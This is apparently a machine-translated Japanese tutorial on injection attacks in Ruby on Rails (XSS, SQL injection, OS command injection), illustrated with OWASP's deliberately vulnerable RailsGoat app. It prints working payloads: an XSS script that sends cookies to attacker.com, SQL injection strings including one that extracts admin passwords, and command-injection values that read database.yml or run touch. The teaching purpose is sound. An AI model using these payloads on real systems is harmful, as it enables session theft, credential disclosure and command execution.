Railsのセキュリティの脅威：インジェクション

アプリケーションでデータのソースを管理している場合は、その中にインジェクションベクトルが含まれている可能性があります。アプリをハッキングするための創造的で革新的な方法に関しては、ハッカーはあなたを驚かせるような新しいものを発明し続けています。

インジェクションの攻撃の世界から始めましょう。アプリがサニタイズされ保護されていると思われる場合は、もう一度考えてみてください。

JavaScriptインジェクション

クロスサイトスクリプティング（XSS）として一般に知られているJavaScriptインジェクションは、すべて、バックエンドアプリケーション（クライアントが信頼する）をだまして、悪意のあるデータやスクリプトをブラウザに送り返すことを目的としています。

これが発生すると、攻撃者はユーザーのブラウザでスクリプトを実行してセッションを盗んだり、アプリケーションの「名前で」機密情報を要求したり、ユーザーを危険なWebサイトにリダイレクトしたりする可能性があります。

有名なブログのコメントセクションを例として取り上げましょう。アプリケーションが完全に脆弱であり、ブログの新しいコメントに対するPOSTを受け取り、値がサニタイズなしでデータベースに直接送信されると想像してください。

POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>

ウェブサイトがコメントセクションをリロードすると、新しいコメントが取得され、ブラウザで指定されたスクリプトが実行されます。

アプリケーションページ内で実行されるスクリプト（完全に受け入れ可能）は、ユーザーのCookie情報を取得し、それを攻撃者のサイトに直接送信します。

SQLインジェクション

SQLインジェクションは、SQLデータベースを処理するアプリケーションが、ユーザーの入力がクエリのいずれかに連結（または補間）されるたびに、ユーザーの入力を安全にサニタイズしない場合に発生します。

Railsの世界で知っているかもしれないSQLインジェクションに関連する2つの主な脅威があります：インジェクション連結 および補間 。違いを確認しましょう。

SQLインジェクションの連結 最も有名です。これは、攻撃者がHTTPクエリパラメータまたはリクエスト本文の一部として危険なSQLの一部を送信したときに発生します。これは、アプリケーション層がこのタイプのコンテンツを識別してサニタイズできない場合に、ほとんどのデータベースで機能するトリックです。

例として、機密情報を取得するためにユーザーにユーザー名でクエリを実行しているとします。

User.where("name = '#{userName}'")

そのuserNameを考慮して はサニタイズされていないユーザー入力であるため、攻撃者はパラメータの値を次のように変更する可能性があります

' OR '1'='1' --

その結果、クエリは次のように変換されます：

SELECT * FROM users WHERE username = '' OR '1'='1';

最後に追加された条件は常にtrueに等しいため 、このクエリは常に実行され、ユーザーからの何百もの機密データが公開されます。

SQL補間 注射につながる可能性があります。どのように？ スコーピング機能を覚えていますか RailsのActiveRecord？これにより、メソッド呼び出しとして参照するために頻繁に使用するクエリ（whereなど）を指定できます。 、joins 、およびincludes ）関連付けオブジェクトまたはモデル。この例を見てください：

class User < ApplicationRecord
  scope :filtered_name, -> { where(name: interpolated_string) }
end

あなたは残りを推測したかもしれません。 whereがある場合 開発者がサニタイズされていない入力値を連結できるようにするための句を使用すると、前の例とほぼ同じSQLインジェクションになります。

OSインジェクション

OSインジェクションは、アプリケーションがユーザーにシステムレベルのコマンドの入力を許可し、それらをフィルタリングしない場合に発生します。

攻撃者はアプリケーションが実行されているOSへの無料のトンネルを持っているため、結果は非常に危険です。 OSベースのセキュリティレイヤーの設定方法によっては、そこで実行されている他のアプリケーションからのデータやファイルも公開される可能性があります。

Railsコードベースに次のコード行のいずれかが表示されている場合は、OSインジェクションが発生する可能性があることに注意してください。

%x[...]
system()
exec()
`my command` // the backticks

次のRailsの実装を検討してください。

new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")

そのsome_path がクライアントから送信されている場合、攻撃者は次のように値を送信する可能性があります。

some_path = 'some/path; cat ./config/database.yml'

わかったよね？クレデンシャルを含むすべてのデータベースデータ（構成クラウドに安全に保存されていない場合）は、攻撃者に公開されます。

RailsGoatプロジェクト

時間を節約し、脆弱な例を最初から作成する必要をなくすために、幸いなことに、RailsGoatプロジェクトがあります。これは、公式のOWASP GitHubリポジトリによって提供される無数のオープンソースプロジェクト（754プロジェクト）の1つであり、セキュリティの脅威について開発者を教育するために意図的にプログラムされた上位10の脆弱性のほとんどを含むRails用に作成されています。

このシリーズでは、プロジェクトのサンプルを使用して、リスクをもう少し深く、さらには実際に実行していることを調査します。

git clone https://github.com/OWASP/railsgoat.git

rvm install "ruby-2.6.5"

bundle install
rails db:setup
rails s

gem install libv8 -v '3.16.14.19' -- --with-system-v8

brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/[email protected]

#Create the MySQL database
RAILS_ENV=mysql rails db:create

#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate

#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed

#Boot Rails using MySQl
RAILS_ENV=mysql rails s

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>

<script>alert("hello, XSS!")</script>

user = User.where("id = '#{params[:user][:id]}'")[0]

0') OR admin = true -- '

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')

user = User.where("id = ?", params[:user][:id])[0]

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }

field[(select+group_concat(password)+from+users+where+admin=true)]

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }

filename="kid-2.png;+touch+abc.txt"

FileUtils.cp
  "#{full_file_name}",
  "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"